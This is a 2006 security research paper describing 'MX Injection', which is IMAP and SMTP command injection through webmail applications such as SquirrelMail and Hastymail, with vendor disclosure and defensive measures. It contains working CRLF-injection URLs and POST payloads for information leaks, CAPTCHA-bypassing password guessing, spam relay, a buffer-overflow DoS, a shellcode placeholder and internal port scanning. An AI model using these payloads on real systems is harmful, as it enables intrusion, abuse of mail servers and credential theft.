MX Injection
Capturing and Exploiting Hidden Mail Servers

Vicente Aguilera Díaz [vaguilera (at) isecauditors (dot) com]

A publication of Internet Security Auditors
December 2006. Internet Security Auditors, S.L.
http://www.isecauditors.com/

MX Injection – Capturing and Exploiting Hidden Mail Servers

Note for the reader
This article expands on a presentation named "Capturando y explotando servidores de correo
ocultos" ("Capturing and exploiting hidden mail servers") given at the OWASP Spain chapter
meeting of June 16th, 2006 (see [14]) by the same author.
Comments about this document are welcome and should be directed to its author, Vicente
Aguilera Díaz (vaguilera (at) isecauditors (dot) com).

© 2006 Internet Security Auditors, S.L.

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MX Injection – Capturing and Exploiting Hidden Mail Servers

Index
1.
2.
3.

ABSTRACT ..........................................................................................................................4
INTRODUCTION....................................................................................................................5
THE MX INJECTION TECHNIQUE ...........................................................................................6
3.1.
IMAP Injection ..........................................................................................................7
3.2.
SMTP Injection.........................................................................................................8
3.3.
MX Injection: what are the benefits?........................................................................94.
GENERATING ATTACKS......................................................................................................10
4.1.
Information Leaks...................................................................................................13
4.2.
Evasion of CAPTCHAs ..........................................................................................14
4.3.
Relay ......................................................................................................................14
4.4.
SPAM .....................................................................................................................15
4.5.
Evasion of restrictions ............................................................................................16
4.6.
Exploitation of protocol vulnerabilities....................................................................18
4.7.
Comparison between IMAP and SMTP Injection...................................................20
5.
DEFENSIVE MEASURES .....................................................................................................21
5.1.
Input data Validation ..............................................................................................21
5.2.
IMAP/SMTP servers configuration.........................................................................21
5.3.
Application Firewalls ..............................................................................................21
6.
CONCLUSIONS ..................................................................................................................22
7.
REFERENCES....................................................................................................................23© 2006 Internet Security Auditors, S.L.

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MX Injection – Capturing and Exploiting Hidden Mail Servers

1. Abstract
This document presents a new attack technique against web applications that communicate
with mail servers, generally webmail applications. Some of these applications are vulnerable tothis new threat, which I called MX Injection due to the possibility of injecting commands frommail protocols (IMAP, SMTP).
This document details the techniques and possibilities of MX Injection, as well as some countermeasures to protect against this new attack type.
This document is oriented toward web developers building applications that communicate with
mail servers, as well as to security professionals who audit these kinds of applications.

© 2006 Internet Security Auditors, S.L.

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MX Injection – Capturing and Exploiting Hidden Mail Servers

2. Introduction
Webmail applications use IMAP and SMTP protocols to manage the interaction between users
and their e-mails. That means they act as proxies between client applications and mail servers
to execute actions.
This interaction begins the moment the user sends his credentials (login and password) to beauthenticated through the webmail application. At this point, and supposing that the IMAP
server supports authentication using “LOGIN”, the web application communicates with theassociated IMAP server sending the next command (see [2]):AUTH LOGIN <user> <password>

The application then analyzes the answer returned by the IMAP server and, depending on its
response, will permit or deny access to the user and their mail box.
In the same way, the application translates the different actions from the users (access to mailboxes, e-mail sending/deleting, disconnection, etc.) to IMAP and SMTP commands which aresent to the corresponding mail servers. However, the available functionality is limited by thewebmail application, so the user really doesn’t generate IMAP or SMTP commands other thanthose associated with options that the applications defines. On the other hand, the user may
possess the ability to alter the IMAP and SMTP commands being transmitted to the mailservers.
Let’s see in the next point in detail how this technique works.

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MX Injection – Capturing and Exploiting Hidden Mail Servers

3. The MX Injection technique
In a similar way to other widely published injection types such as SQL Injection, LDAP Injection,
SSI Injection, XPath Injection, CRLF Injection, etc. (see [3], [9]), the MX Injection techniqueallows for arbitrary injection of IMAP or SMTP commands to the mail servers through a webmail
application improperly validating user supplied data.
The MX Injection technique is particular useful when the mail servers used by the webmail
application are not directly accessible from Internet (see the scheme presented in Image 1).
The act of injecting arbitrary commands to the mail server means that ports 25 (SMTP) and 143(IMAP) are accessible to users through the webmail application.

Image 1. Communication with the mail servers using the MX Injection technique.

The image above represents a request from the user to the webmail application in order toperform a mailbox operation. Steps 1, 2 and 3 show the standard way a command is requested
through a webmail application. Steps 1 and 2’ represent 'virtually' what an attacker is attempting
to do using MX Injection through the webmail application.
To the attacker exploiting an application using MX Injection, they essentially have direct accessto the raw mail service ports normally firewalled off. The use of this technique permits a wide
variety of actions and attacks. The possibilities depend on the scope (type of server) in which
the commands are injected. As stated in the introduction of this document, webmail applicationstranslate the requests from the users to IMAP and SMTP protocol commands. Next I will explain
how we will exploit both protocols.

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3.1. IMAP Injection
In this case, command injection is done over the IMAP server so they must follow the format
and specifications of this protocol. The webmail applications communicate with the IMAP server
to carry out their operations and that’s the reason why they are more vulnerable to this kind of
attack.
During user authentication the webmail application transmits credentials to the IMAP server, so
it's possible the IMAP Injection takes place without the need of having a valid account in theapplication, exploiting the authentication mechanism of the IMAP server.
Before injecting IMAP commands the user must identify all the parameters involved in thecommunication with the mail server, and are associated to functionality of the application suchas:
• authentication/login/logout• operations with mail boxes (list, read, create, delete, rename)• operations with messages (read, copy, move, delete)Let’s see an example of IMAP Injection by exploiting the functionalities of reading a message.
Assume that the webmail application uses the parameter “message_id” to store the identifier ofthe message that the user wants to read. When a request containing the message identifiers issent the request would appear as:
http://<webmail>/read_email.php?message_id=<number>

Suppose that the webpage “read_email.php”, responsible for showing the associated message,transmits the request to the IMAP server without performing any validation over the value<number> given by the user. The command sent to the mail server would look like this:FETCH <number> BODY[HEADER]

In this context, a malicious user could try to conduct IMAP Injection attacks through theparameter “message_id” used by the application to communicate with the mail server. For
example, the IMAP command “CAPABILITY” could be injected using the next sequence:
http://<webmail>/read_email.php?message_id=1 BODY[HEADER]%0d%0aZ900
CAPABILITY%0d%0aZ901 FETCH 1

This would produce the next sequence on IMAP commands in the server:
FETCH 1 BODY[HEADER]
Z900 CAPABILITY
Z901 FETCH 1 BODY[HEADER]

So the page returned by the server would show the result of the command “CAPABILITY” in the
IMAP server:* CAPABILITY IMAP4rev1 CHILDREN
THREAD=REFERENCESSORT QUOTA ACL ACL2=UNION
Z900 OK CAPABILITY completed© 2006 Internet Security Auditors, S.L.

NAMESPACE

THREAD=ORDEREDSUBJECT

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3.2. SMTP Injection
In this case, the command injection is performed to the SMTP server so the injected commands
must follow this protocol. Due to the operations permitted by the application using the SMTP
protocol we are basically imitated to sending e-mail. The use of SMTP Injection requires that theuser be authenticated previously, so it is necessary that the user have a valid webmail account.
The format of sending an email message through SMTP is as follows:
•
•
•
•
•

Sender e-mailDestination e-mailSubject
Message body
Attached files

Let’s see an example of the SMTP Injection technique through the parameter that holds the
subject of a message.
As I have explained before, the exploitation of this technique requires that the user beauthenticated, and the SMTP command Injection can performed against a webmail parameterassociated with sending an e-mail. Commonly, the webmail application presents to the user aform where they must provide the required information that will be sent to the resource
responsible for creating the raw SMTP commands necessary to send an e-mail.
A typical request for e-mail sending would look like this:
POST http://<webmail>/compose.php HTTP/1.1…
-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="subject"
SMTP Injection Example-----------------------------134475172700422922879687252…

Which would generate the next sequence of SMTP commands:
MAIL FROM: <mailfrom>
RCPT TO: <rcptto>
DATA
Subject: SMTP Injection Example…

If the application doesn't correctly validate the value in the parameter “subject”, an attacker
could inject additional SMTP commands into it:
POST http://<webmail>/compose.php HTTP/1.1…
-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="subject"
SMTP Injection Example.
MAIL FROM: notexist@external.com
RCPT TO: user@domain.com
DATA© 2006 Internet Security Auditors, S.L.

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Email data.
-----------------------------134475172700422922879687252…

The commands injected above would produce a SMTP command sequence that would be sent
to the mail server, which would include the MAIL FROM, RCPT TO and DATA commands asshown here:
MAIL FROM: <mailfrom>
RCPT TO: <rcptto>
DATA
Subject: SMTP Injection Example.
MAIL FROM: notexist@external.com
RCPT TO: user@domain.com
DATA
Email data.
…

See [1] for a better understanding of the SMTP protocol and its commands.

3.3. MX Injection: what are the benefits?
Documents and discussions have existed before this article about similar injections in mailfunctions. Surely the most known is the CRLF Injection in the mail() function of PHP (see [9],[11]).
Nevertheless, these works until now only consisted of partial code injection, as the case of theemail headers injections (see [10]). This type of injection allows one to realize the diverse
operations (send anonymous emails, spam/relay, etc.) that are also possible with the MX
Injection technique since they are based on the same type of vulnerability.
The added value of this technique is the full injection of commands in the affected mail servers,
without any type of restriction. That is to say, this exploit allows not only the possibility of
injecting email headers ("From: ", "Subject: ", "To: ", etc.), but also arbitrary command injection
to the mail servers (IMAP/SMTP) communicating with the webmail application.
MX Injection goes beyond the "simple" abuse of functionality offered by the webmail application(for example, sending large amounts of emails). This technique allows one to perform additional
actions not normally available by the webmail application (for example, to provoke a buffer
overflow in the mail server through an IMAP command).
The ability to inject arbitrary commands is especially interesting for security auditors (pentesters), since it allows the exploitation of vulnerabilities that could in certain situations allow for
total control of the mail server.

© 2006 Internet Security Auditors, S.L.

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4. Generating Attacks
Next I’ll show some examples of the different types of attacks against the mail servers, as well
as some practical examples using the MX Injection technique.
Practical cases have been discovered in the webmail applications SquirrelMail (1.2.7 and 1.4.5
versions) and Hastymail (1.0.2 and 1.5 versions). SquirrelMail version 1.2.7 has been
discontinued by the SquirrelMail team, so an upgrade to at least version 1.4.6 is recommended,as all previous versions are vulnerable. All versions of Hastymail prior to 1.5 are also vulnerable
to both SMTP and IMAP Injection and users are urged the latest patches (see [13]).
The SquirrelMail and Hastymail teams were notified of these issues (see [4], [13]) and bothquickly provided a fix. Shortly after a Nessus plug-in was released (see [8]) to check for thisvulnerability.
To conduct an attack two steps must be followed:-

identify a vulnerable parameter
understand the operational scope of it.

Identifying vulnerable parameters
The identification of vulnerable parameters can be accomplished in the same way that you may
check for other types of injections by probing abuse cases. This means sending requests withunusual values (not expected values by the application) to each parameter suspected of being
used in part of the raw IMAP and SMTP commands, then analyzing its behavior to try anddetect possible validations taking place.
Let’s see an example.
When a user accesses the INBOX in SquirrelMail, the request appears as:
http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessag
e=1&mailbox=INBOX

If the user modifies the value of the “mailbox” parameter in the following way:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessag
e=1&mailbox=INBOX%22

The application reacts showing the next message error:

ERROR : Bad or malformed request.
Query: SELECT “INBOX””
Server responded: Unexpected extra arguments to
SelectObviously this shouldn’t be the normal and expected behavior of the application. This message
error reveals, furthermore, the IMAP command that is being executed: "SELECT". Using thisprocedure, we can deduce that the parameter “mailbox” is susceptible to attacks based on MX
Injection, and more specifically, IMAP Injection.
In other cases detection and exploitation of vulnerable parameters aren't so obvious. For
example, when a user accesses their INBOX in Hastymail, the request appears as:© 2006 Internet Security Auditors, S.L.

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http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=INBOX

If the user modifies the value of the “mailbox” parameter in the following way:
http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=INBOX”

The application reacts by displaying the following message:
Could not access the following folders:
INBOX\”To check for outside changes to the folder list
go to the folders pageIn this case, adding the quote character has not modified the behavior of the application. The
result is the same as if the user had injected any other character:
http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXISTThe application reacts showing the same message error:
Could not access the following folders:
NOTEXISTTo check for outside changes to the folder list
go to the folders page

If the user tries other variations of IMAP command injection:
http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST”%0d%0aA0003%20CREATE%20”INBOX.test

The application reacts showing the next error message:
Unable to perform the requested action
Hastymail said:: A0003 SELECT “INBOX”
And the IMAP server said::
A0003 NO Invalid mailbox name.

Initially it seems that the IMAP injection attempt as failed. Nevertheless, by using a variation of
the quote character it's possible to obtain the aim proposed by the user. The next example uses
a double codification of the quote character, replacing the above mentioned character with thesequence %2522:

http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST%2522%0d%0aA0003%20CREATE%20%2522INBOX.test© 2006 Internet Security Auditors, S.L.

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In this case, the application does not return any error message but can still create the folder"test" in the INBOX.
Other abuse cases:
•
•
•
•
•

Leave the parameter with a null value (i.e. “mailbox=”)
Substitute the value with the name of a non existing mailbox (e.g. “mailbox=NotExists”)
Add other values to the parameter (e.g. “mailbox=INBOX PARAMETER2”)
Add other non standard characters (e.g. \, ‘, @, #, !, |, \n)
Add the CRLF sequence (e.g. “mailbox=INBOX%0d%0a”)

Scope of operation
Once the vulnerable parameter has been detected (either IMAP or a SMTP command), it isnecessary to understand the scope in which it acts. In other words, we need to understand thecommand we are attacking so that we can supply the adequate parameters to inject our
IMAP/SMTP commands
To achieve the successful use of the MX Injection technique it is necessary that the previous
command has finished with a CRLF (“%0d%0a”). In this way, this sequence will be used toseparate commands.
If the user is able to inject a command and see an error message returned (that are generated
by the mail servers) then they must next understand the scope of performed operation which
may be as easy as watching the contents of them.
Let’s see an example.
When a user reads an e-mail in SquirrelMail the following request is generated:
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=1&startM
essage=1&show_more=0

If the user modifies the value of the “passed_id” parameter in the following way:
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=test&sta
rtMessage=1&show_more=0

The application reacts showing the next message error:
ERROR : Bad or malformed request.
Query: FETCH test:test BODY[HEADER]
Serverresponded:
Error
in
IMAP
received by server.

commandHere the user has identified that the IMAP command being executed is “FETCH” along with its
parameters.
At this moment, having detected the vulnerable parameter and understanding the command
being executed, the user has enough information to conduct injection of additional commands:
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=1 BODY [HEADER]%0d%0aZ900 RENAME INBOX ENTRADA%0d%0aZ910 FETCH 1&startMessa
Ge=1&show_more=0© 2006 Internet Security Auditors, S.L.

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This request would execute the following IMAP commands on the server:
FETCH 1 BODY[HEADER]
Z900 RENAME INBOX ENTRADA
Z910 FETCH 1 BODY[1]

If the user is unable to view the error messages (we find ourselves in a “blind injection”
scenario), the information about the operation should be deducted from the type of operation
asked by the user. For example, if the injection is done through the parameter of aauthentication form called “password”, the IMAP command that will be executed will be:
AUTH LOGIN <user> <password>

In return, if the injection is conducted through the request parameter “mailbox” the IMAP
command executed will be:
LIST “<reference>” <mailbox>

See [2] for a better understanding of the IMAP protocol and its commands.

4.1. Information Leaks
Applied Technique: IMAP Injection
Requires authenticated user: NO
The IMAP Injection could allow for obtaining of information about the IMAP server that, by trying
other methods, we could not get.
Supposing that a user is able to inject the command “CAPABILITY” in a parameter “mailbox”:
http://<webmail>/src/read_body.php?mailbox=INBOX%22%0d%0aZ900 CAPABILITY%0d%0aZ910 SELECT “INBOX&passed_id=1&startMessage=1&show_more=0

The response of the CAPABILITY command displays a list of the names separated withcommas along with the supported capabilities of the server. Let’s see an example:* CAPABILITY IMAP4 IMAP4rev1 UIDPLUS
REFERRALS NAMESPACE QUOTA CHILDREN
Z900 OK capabilities listed

IDLE

LOGIN-* CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+
MAILBOX-REFERRALS NAMESPACE UIDPLUS ID NO_ATOMIC_RENAME
UNSELECTCHILDREN
MULTIAPPENDSORTTHREAD=ORDEREDSUBJECT THREAD=REFERENCES IDLE LISTEXT
LIST-SUBSCRIBED ANNOTATEMORE X-NETSCAPE
Z900 OK Completed* CAPABILITY IMAP4rev1 STARTTLS AUTH=GSSAPI XPIG-LATIN
Z900 OK Completed© 2006 Internet Security Auditors, S.L.

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With this command, the user could detect the different authentication methods supported by theserver (responses “AUTH=”), login commands disabled (LOGINDISABLED), added to the
supported extensions and revisions of the IMAP protocol.
The CAPABILITY command can be executed without needing to be authenticated, so in thecase of being detected in a parameter vulnerable to IMAP Injection, could always be executed.

4.2. Evasion of CAPTCHAs
Applied Technique: IMAP Injection
Requires authenticated user: NO
Nowadays it is common to find web applications that make use of CAPTCHAs (see [5]). The
goal is clear: prevent automated attacks over some specific processes. For example, a
CAPTCHA in a user registration form prevents a robot from signing up user accounts, or that an
automated process for user enumeration or password cracking could be conducted.
If the authentication mechanism of the IMAP server is vulnerable to IMAP Injection, a malicious
user could circumvent the restrictions imposed by the CAPTCHA.
First, suppose that the field “password” in an authentication form permits the injection of IMAP
commands. If the attacker wants to identify the password of a user with the login “victim” andthe password “pwdok” they may perform multiple requests using a dictionary in order toenumerate it.
Then, also suppose that the passwords dictionary is composed by the next terms: pwderror1,
pwderror2, pwdok, pwderror3.
In this scenario, the user could inject the following commands to conduct its attack:http://<webmail>/src/login.jsp?login=victim&password=%0d%0aZ900 LOG
IN victim pwderror1%0d%0aZ910 LOGIN victim pwderror2%0d%0aZ920 LOGI
N victim pwdok%0d%0aZ930 LOGIN victim pwderror3

Which will produce the following execution of commands in the IMAP server (C: client’s request,
S: server’s answers):
C: Z900 LOGIN victim pwderror1
S: Z900 NO Login failed: authentication failure
C: Z910 LOGIN victim pwderror2
S: Z910 NO Login failed: authentication failure
C: Z920 LOGIN victim pwdok
S: Z920 OK User logged in
C: Z930 LOGIN victim pwderror3
S: Z930 BAD Already logged in

So, if the victim's password is in the dictionary being used, at the end of the last command
injection the attacker would find themselves in an authenticated state. Now they could inject andperform additional commands normally requiring a user to be logged in and authenticated.

4.3. Relay
Applied Technique: SMTP Injection
Requires authenticated user: YES
A user that has been authenticated by the webmail application now has the capability ofcomposing and sending e-mails.
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Suppose that the parameter “subject” is vulnerable to SMTP Injection attacks.
In this situation it would be possible to conduct a mail server relay attack. For example, thefollowing command would generate the sending of an e-mail from an external address toanother external address:
POST http://<webmail>/compose.php HTTP/1.1…
-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="subject"
Relay Example.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
Relay test.
-----------------------------134475172700422922879687252…

That would produce the following SMTP command sequence sent to the server:
MAIL FROM: <mailfrom>
RCPT TO: <rcptto>
DATA
Subject: Relay Example.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
Relay test.
…

4.4. SPAM
Applied Technique: SMTP Injection
Requires authenticated user: YES
The present scenario is the same as the relay case before. With the goal of evading possible
restrictions (e.g., maximum e-mails sent by a user), the attacker injects in the vulnerable
parameter as many commands as the attacker wants to send (the quantity of e-mails it desires).
By sending the one POST request to the web server below an attacker is able to perform
multiple actions.
Let’s see an example where the attacker sends three e-mails with just one simple command:
POST http://<webmail>/compose.php HTTP/1.1…
-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="subject"
SPAM Example.
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MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
SPAM test.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
SPAM test.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
SPAM test.
-----------------------------134475172700422922879687252…

That would produce the following SMTP command sequence:
MAIL FROM: <mailfrom>
RCPT TO: <rcptto>
DATA
Subject: SPAM Example.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
SPAM test.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
SPAM test.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
SPAM test.
…

4.5. Evasion of restrictions
Applied Technique: SMTP Injection
Requires authenticated user: YES
The scenario is the same as both precedent cases of Relay and Spam. The SMTP command
injection permits, in this case, evasion of restrictions imposed at the application level.
Let’s see some examples.
Evading the limit of maximum emails that are allowed to be sent
Suppose a webmail application does not allow sending e-mails beyond a certain quantity withina certain time limit. SMTP Injection would allow evasion of this restriction simply by adding as
many RCPT commands as destinations that the attacker wants:
POST http://<webmail>/compose.php HTTP/1.1© 2006 Internet Security Auditors, S.L.

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-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="subject"
Test.
MAIL FROM: external@domain1.com
RCPT TO: external@domain1.com
RCPT TO: external@domain2.com
RCPT TO: external@domain3.com
RCPT TO: external@domain4.com
Data
Test
.
-----------------------------134475172700422922879687252…

This would produce the following sequence of SMTP commands to be sent to the mail server:
MAIL FROM: <mailfrom>
RCPT TO: <rcptto>
DATA
Subject: Test.
MAIL FROM: external@domain.com
RCPT TO: external@domain1.com
RCPT TO: external@domain2.com
RCPT TO: external@domain3.com
RCPT TO: external@domain4.com
DATA
Test
.
…

Evasion of the maximum amount of e-mail attachments
Suppose a webmail application imposes limited on the number of attachments in an e-mail. The
injection of SMTP commands would allow evasion for this kind of restriction. Let’s see an
example through the vulnerable parameter “subject” by attaching three text files:…
-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="subject"
Test.
MAIL FROM: user1@domain1.com
RCPT TO: user2@domain2.com
DATA
Content-Type: multipart/mixed; boundary=1234567--1234567
Content-type: text/plain
Content-Disposition: attachment; filename=1.txt
Example 1--1234567
Content-type: text/plain
Content-Disposition: attachment; filename=2.txt
Example 2© 2006 Internet Security Auditors, S.L.

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MX Injection – Capturing and Exploiting Hidden Mail Servers--1234567
Content-type: text/plain
Content-Disposition: attachment; filename=3.txt
Example 3--1234567-.
-----------------------------134475172700422922879687252…

Which would produce the next sequence of SMTP commands sent to the mail server:
MAIL FROM: <mailfrom>
RCPT TO: <rcptto>
DATA
Subject: Test.
MAIL FROM: user1@domain1.com
RCPT TO: user2@domain2.com
DATA
Content-Type: multipart/mixed; boundary=1234567--1234567
Content-type: text/plain
Content-Disposition: attachment; filename=1.txt
Example 1--1234567
Content-type: text/plain
Content-Disposition: attachment; filename=2.txt
Example 2--1234567
Content-type: text/plain
Content-Disposition: attachment; filename=3.txt
Example 3--1234567-.
…

By using all of these tricks, an attacker would be able to send as many e-mails as they want,with as many attachments as they want.

4.6. Exploitation of protocol vulnerabilities
The fact of being able of execute arbitrary commands in the mail servers could allow an attacker
to exploit existing vulnerabilities by sending a certain command to the server.
Let’s see some examples:
4.6.1 DoS Attacks to the mail server.
E.g., buffer overflow in MailMax version 5 (see [6])Using a mailbox name with a 256 characters length in the parameter SELECT, the result is a
pop-up message in the mail server with the message: “Buffer overrun detected! - Program:<PATH>\IMAPMax.exe"
At this moment, the server stops and must be restart manually.
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Supposing that the parameter “mailbox” in a webmail frontpage could be vulnerable to IMAP
Injection, the exploitation of this vulnerability could be conducted in the following way (requiresthat the user would be authenticated):
http://<webmail>/src/compose.php?mailbox=INBOX%0d%0aZ900 SELECT“aa…[256]…aa”

4.6.2 Execution of arbitrary code in the mail server
Another exploitable example is through the IMAP server MailEnable. It suffers a buffer overflow
vulnerability in the command STATUS that allow arbitrary code execution in the IMAP server(see [7])Supposing that we find a webmail application with a “mailbox” parameter vulnerable to IMAP
Injection, the exploitation of this vulnerability would take place in the following way (this would
require the user to be authenticated):
http://<webmail>/src/compose.php?mailbox=INBOX%0d%0aZ900<put_here_your_shellcode> (UIDNEXT UIDVALIDITY MESSAGESRECENT)%0d%0a

STATUSUNSEEN

4.6.3 Port scanning of internal systems.
The IMAP server developed by the University of Washington (UW-IMAP, accessible fromhttp://www.washington.edu/imap) allows one to port scan systems using the SELECT command(see [12]), with the following format: SELECT " {ip:port} ")).
Let's see an example of exploiting of this vulnerability using SquirrelMail version 1.4.2,
supposing the parameter "mailbox" is vulnerable to IMAP Injection (this particular vulnerability
requires the user to be logged in):i) Request on an open port (80) in the system 192.168.0.1
http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:80}
The response from the previous request shows the next message:
ERROR : Connection dropped by imap-server.
Query: SELECT "{192.168.0.1:80}"

ii) Request on a closed port (21) in the system 192.168.0.1:
http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:21}
The response from the previous request shows the next message:
ERROR : Could not complete request.
Query: SELECT "{192.168.0.1:21}"
Reason Given: SELECT failed: Connection failed to 192.168.0.1,21:
Connection refused© 2006 Internet Security Auditors, S.L.

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This difference in the answers offered by the IMAP server allows a malicious user to deduce thestate of the requested port.
To summarize, thanks to the MX Injection technique it's possible to exploit vulnerabilities that
normally wouldn’t be exploitable, against mail servers visible to attackers (or pen-testers).
From the perspective of the web application security auditor, the ability to detect and exploit
these vulnerabilities results in a great tool. For this reason these questions would be presented
in a future article about the exploitation about MX Injection.

4.7. Comparison between IMAP and SMTP Injection
Below, the table shows the main characteristics about both types of MX Injection show until
now.
Requires to be authenticatedNumber of vulnerable parameters
Type of attacks© 2006 Internet Security Auditors, S.L.

IMAP Injection
No
High
Information Leaks
Exploitation of IMAP protocol
CAPTCHAs evasion

SMTP Injection
Yes
Low
Information Leaks
Exploitation of SMTP protocol
Relay/SpamRestrictions evasion

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5. Defensive Measures
In a similar way to other vulnerabilities allowing injection of data from the user (attacker), theprotection of the webmail applications require that measures coming from the development
team be adopted and applied. However, in order to reduce the ability by an attacker to exploit
these types of vulnerabilities, mail server administrators must adopt proper security measures toachieve a defense in-depth solution.
Below, I’ll present some measures that would be valid countermeasures to these type ofattacks.

5.1. Input data Validation
All input data used by the application (even if not supplied directly by the user and is usedinternally by the application) must be sanitized, deleting any character that could be used with
bad intentions. Validation must be performed before any type of operation is executed using thedata.
As discussed earlier the execution of a new IMAP/SMTP command requires that the precedingcommand has ended with a CRLF. To ensure that additional commands can not be injected,
you can delete these type of characters taken from input data before passing it along to a mailserver.

5.2. IMAP/SMTP servers configuration
If the access to the mail servers is only accomplished through the webmail application, thoseervers must not be visible from Internet. In addition to this, you should also proper harden theseservers (by disabling commands that are not absolutely necessary, etc.) with the goal ofminimizing the impact of MX Injection attacks.

5.3. Application Firewalls
If we deploy an application firewall with other protection systems, one emergency solution could
consist of adding a rule that would filter the sequence <CRLF> in the vulnerable MX Injection
parameters, which would eliminate the injection of these commands to the mail servers.
One example is to use ModSecurity as an application firewall. As with the previous example of
SquirrelMail, the resulting rule would be this:
SecFilterSelective "ARG_mailbox" "\r\n"That would filter the injection of the sequence <CRLF> in the “mailbox” parameter.

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6. Conclusions
This document presents two practical cases of webmail applications (SquirrelMail andHastymail) vulnerable to the MX Injection technique, though any application that uses the SMTP
and IMAP protocols is capable of suffering from this threat (even those applications not
cataloged as webmail applications).
Nowadays, the majority of applications do not issue raw protocol (SMTP/IMAP) commands tocommunicate with the mail servers, but they invoke standard functions or third party libraries
that finalize this process.
A future version of this document will provide an analysis of the above mentioned libraries,
along with the identification of web applications using these libraries that could be vulnerable to
the MX injection technique.

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7. References[1]

RFC 0821: Simple Mail Transfer Protocol
http://www.ietf.org/rfc/rfc0821.txt[2]

RFC 3501: Internet Message Access Protocol - Version 4rev1
http://www.ietf.org/rfc/rfc3501.txt[3]

Web Security Threat Classification
http://www.webappsec.org/projects/threat/[4]

SquirrelMail: IMAP injection in sqimap_mailbox_select mailbox parameter
http://www.squirrelmail.org/security/issue/2006-02-15[5]

The CAPTCHA Project
http://www.captcha.net/[6]

Buffer overflow vulnerability in MailMax version 5
http://marc.theaimsgroup.com/?l=bugtraq&m=105319299407291&w=2[7]

Arbitrary code execution in MailEnable IMAP server
http://www.securityfocus.com/bid/14243/exploit[8]

Nessus plugin: Checks for IMAP command injection in SquirrelMail
http://www.nessus.org/plugins/index.php?view=viewsrc&id=20970[9]

CRLF Injection by Ulf Harnhammar
http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2002-05/0077.html[10] Email Injection – Injecting email headers
http://www.securephpwiki.com/index.php/Email_Injection[11] PHP Mail Functions discussions
http://www.php.net/manual/en/ref.mail.php#62027[12] UW-IMAP PoC
http://uberwall.org/releases/UWloveimap.tgz[13] Hastymail: SMTP/IMAP Injection patch
http://hastymail.sourceforge.net/security.php[14] “Capturando y explotando servidores de correo ocultos”, Vicente Aguilera, June 16th,2006
http://www.owasp.org/images/1/12/OWASP-MX_Injection.pdf© 2006 Internet Security Auditors, S.L.

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About this Author
VicenteAguilera
Díaz
wasco-founderofInternet
Security
Auditors(http://www.isecauditors.com) in 2001, where he is responsible for the Security Audit area.
Vicente possesses the CISA, CISSP, ITIL, CEH Instructor, OPSA and OPST certifications andis a expert on Web application security where he has discovered diverse vulnerabilities and haspresented works in conferences as FIST, Hackmeeting, IGC (Internet Global Congress) andOWASP. Vicente as also contributed to open source projects such as OWASP Testing Guide
v2, WASC Threat Classification and ISSAF.
Mr. Aguilera was founder of the OWASP Spain chapter in 2005.

The current copy of this document can be found here:
http://www.webappsec.org/articles/
Information on the Web Application Security Consortium’s Article Guidelines can be found here:
http://www.webappsec.org/projects/articles/guidelines.shtml
A copy of the license for this document can be found here:
http://www.webappsec.org/projects/articles/license.shtml© 2006 Internet Security Auditors, S.L.

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